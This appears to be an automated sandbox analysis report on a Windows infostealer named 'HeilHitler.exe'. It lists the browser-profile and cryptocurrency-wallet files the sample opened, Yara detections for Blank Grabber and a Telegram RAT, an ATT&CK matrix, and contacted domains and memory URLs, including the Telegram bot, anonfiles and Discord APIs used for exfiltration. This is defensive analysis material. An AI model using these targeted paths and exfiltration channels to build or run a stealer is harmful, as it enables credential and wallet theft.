Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HeilHitler.exe PID: 7448, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000000.00000003.1680543056.0000028B92082000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1680543056.0000028B92084000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2017807345.000001BD43E2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HeilHitler.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HeilHitler.exe PID: 7448, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI74322\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: HeilHitler.exe PID: 7448, type: MEMORYSTR

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 1_2_00007FFDFAF42B5D bind,WSAGetLastError,

1_2_00007FFDFAF42B5D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	4 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	47 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	11 Software Packing	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HeilHitler.exe	47%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI74322\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI74322\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://wwcrosoft.com/pki/certs/MicWinPCA_2010-07-06.crt0	0%	Avira URL Cloud	safe
http://www.microsoftOWNLO~1.TXTy.	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
discord.com	162.159.128.233	true	false	high
ip-api.com	208.95.112.1	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	HeilHitler.exe, 00000001.00000003.1689251568.000001BD43570000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1689605920.000001BD43351000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1689683339.000001BD43570000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1689516521.000001BD43569000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1689067447.000001BD4393E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot%s/%s	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.avito.ru/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C7C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	HeilHitler.exe	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	HeilHitler.exe	false		high
http://www.microsoft.co	powershell.exe, 00000026.00000002.1824448366.00000287197FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://python.org/dev/peps/pep-0263/	HeilHitler.exe, 00000001.00000002.2036487623.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	HeilHitler.exe, 00000001.00000002.2022344283.000001BD40F50000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	HeilHitler.exe, 00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp	false		high
https://weibo.com/	HeilHitler.exe, 00000001.00000003.1907250502.000001BD43701000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CC4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD43701000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.msn.com	HeilHitler.exe, 00000001.00000002.2032925274.000001BD44538000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1824453418.0000026DC0C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1887725142.000002872B8AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871D05B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1887725142.000002872B769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	HeilHitler.exe, 00000001.00000002.2031419097.000001BD43930000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.1766127413.0000026DB0C11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871B6F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.ca/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42BF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	HeilHitler.exe, 00000001.00000002.2031557342.000001BD43A30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	HeilHitler.exe, 00000001.00000002.2022974911.000001BD42C7C000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000026.00000002.1830812751.000002871D000000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871CD42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.1766127413.0000026DB0E39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000026.00000002.1830812751.000002871D000000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871CD42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42C7C000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000026.00000002.1830812751.000002871C5C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	HeilHitler.exe, 00000001.00000002.2022344283.000001BD40F50000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000026.00000002.1887725142.000002872B769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	HeilHitler.exe, 00000000.00000003.1680320755.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42C7C000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	HeilHitler.exe, 00000001.00000003.1907543224.000001BD434D3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434A1000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907001507.000001BD43734000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42BF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	HeilHitler.exe, 00000001.00000003.1906535342.000001BD43725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HeilHitler.exe, 00000001.00000003.1723565686.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1730926379.000001BD4367B000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718513847.000001BD436DA000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1724146953.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1720857356.000001BD43737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000026.00000002.1830812751.000002871D000000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1830812751.000002871CD42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	HeilHitler.exe, 00000001.00000002.2028781492.000001BD43623000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	HeilHitler.exe, 00000001.00000002.2022344283.000001BD40F50000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CC4000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0$	HeilHitler.exe	false		high
https://bugzilla.mo	HeilHitler.exe, 00000001.00000002.2032762896.000001BD43DE7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	HeilHitler.exe, 00000001.00000002.2031557342.000001BD43A30000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.1766127413.0000026DB0E39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google.com/mail	HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1752805888.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717535771.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1732575141.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1748948213.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	HeilHitler.exe, 00000001.00000003.1907001507.000001BD43734000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907174052.000001BD43738000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	HeilHitler.exe, 00000001.00000002.2031419097.000001BD43930000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	HeilHitler.exe, 00000001.00000003.1907543224.000001BD434A1000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434A6000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1753590052.000001BD434A4000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434A7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2027310965.000001BD434A7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434A7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434A7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434A4000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2026948270.000001BD43330000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	HeilHitler.exe, 00000001.00000002.2028781492.000001BD43623000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	HeilHitler.exe, rar.exe.0.dr	false		high
https://www.python.org/download/releases/2.3/mro/.	HeilHitler.exe, 00000001.00000002.2022974911.000001BD42BF0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://contoso.com/License	powershell.exe, 00000026.00000002.1887725142.000002872B769000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v9/users/	HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	HeilHitler.exe, 00000001.00000003.1684747485.000001BD40F96000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1684524728.000001BD40FF3000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2022974911.000001BD42BF0000.00000004.00001000.00020000.00000000.sdmp	false		high
